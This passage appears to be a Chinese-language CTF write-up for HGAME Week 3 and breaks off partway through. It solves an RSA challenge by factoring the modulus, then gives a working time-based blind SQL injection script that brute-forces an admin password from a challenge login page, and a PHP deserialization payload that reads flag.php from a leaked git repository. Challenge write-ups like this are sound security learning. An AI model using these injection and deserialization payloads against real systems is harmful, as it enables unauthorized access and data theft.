摘要
Week 3 巨难

Crypto

–LikiPrime

这题应该是最 ez 的了。

首先去[factordb.com]( http://factordb.com/index.php）把 n 给分解了，运气比较好这里能成功分解，于是我们便拥有了 p 和 q，然后可以计算 p 这题就解决了。脚本如下：

import libnum
from Crypto.Util.number import long_to_bytes

c = 747831491353896780365654517748216624798517769637260742155527
n = 882564595536224140639625987659416029426239230804614613279163
# n = int("",16)
e = 65537
# e = int("",16)
q = 1029224947942998075080348647219
p = 857504083339712752489993810777

d = libnum.invmod(e, (p - 1) * (q - 1))
m = pow(c, d, n)  # m 的十进制形式
string = long_to_bytes(m)  # m明文
print(string)  # 结果为 b‘ m ’ 的形式
#b'hgame{w0w~yOU_kNoW+R5@!}'

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
I am afraid the dishes in the second grade are too fragrant, you will not reply my text messages,
so I won’t give you New Year greetings this year, I hope you don’t know how to praise, good night.

hgame{!f+y0u-pl4y_rem

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Hello Liki4:

I am afraid that there are too many blessings on the 30th night, you will not see my greetings,
I am afraid that the firecrackers in the first grade are too noisy, you will not hear my blessings,

@ind3r~YOu^9ot=i7}

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

然后结合一下得到 flag hgame{!f+y0u-pl4y_rem@ind3r~YOu^9ot=i7}

WEB

–Liki-Jail

最开始毫无想法，后来了解了下 sqlmap，然后学习了时间盲注的知识，最后试来试去在密码处发现了 sql 注入漏洞。编写 python ，把密码一位一位爆出来。

考虑到一般密码都是正常的字符，所以 ascii 码值应该都介于 30~130 之间，那么对密码的每一位都使用二分法比较，结合 if 语句，判断为真则 sleep(2)，以此确定密码的每一位。

程序如下：（得关VPN）

import time
import requests

url = 'https://jailbreak.liki.link/login.php'
result = ""
for a in range(1, 20):
    max = 130
    min = 30
    while max >= min:
        mid = (max + min) // 2
        print(mid)
        data = {
            "username": "admin\\",
            "password": "/**/or/**/if(ascii(substr((select/**/group_concat(`p@ssword`)/**/from/**/u5ers)," + str(
                a) + ",1))>" + str(mid) + ",sleep(2),0)#"
        }
        print(data['username'])
        print(data['password'])

        try:
            t1 = time.time()
            r = requests.post(url, data=data, verify=False).text
            t2 = time.time()
        except:
            t1 = time.time()
            r = requests.post(url, data=data, verify=False).text
            t2 = time.time()
        if t2 - t1 > 2:
            min = mid + 1
        else:
            max = mid
        if max == mid == min:
            result += chr(mid)
            print(str(a) + ':' + result)
            break

最后得到 password ：sOme7hiNgseCretw4sHidd3n

最后用 admin 登录即可获得 flag

–Arknights

题目说到用 git 部署到服务器，怀疑存在 .git 文件夹。通过 git_extract 获得到了网站源码。

接下来进行代码审计，从头到尾没有没有敏感函数，但是注意到在 simulate.php 中有一串 secret_key：

同时 extract 函数有一个反序列化操作，说明 Data 可控。

Eval 类可以 echo this->message，CardsPool 类的 toString 函数可以读文件。

所以要做的就是将 Eval 类的 $msg 指向 ClassPool 类，$file 的值赋值为 $file。随后生成序列化后的字符串，再经过 base64 编码，放回到 index.php的 cookie 中，便会获得加密后的 cookie。

构造 test.php：

<?php
class CardsPool
{

    public $cards;
    private $file="flag.php";
}
class Eeeeeeevallllllll{
    public $msg;
}
$a = new Eeeeeeevallllllll();
$a->msg = new CardsPool();
echo serialize($a)."<br>";
echo base64_encode(serialize($a))."<br>";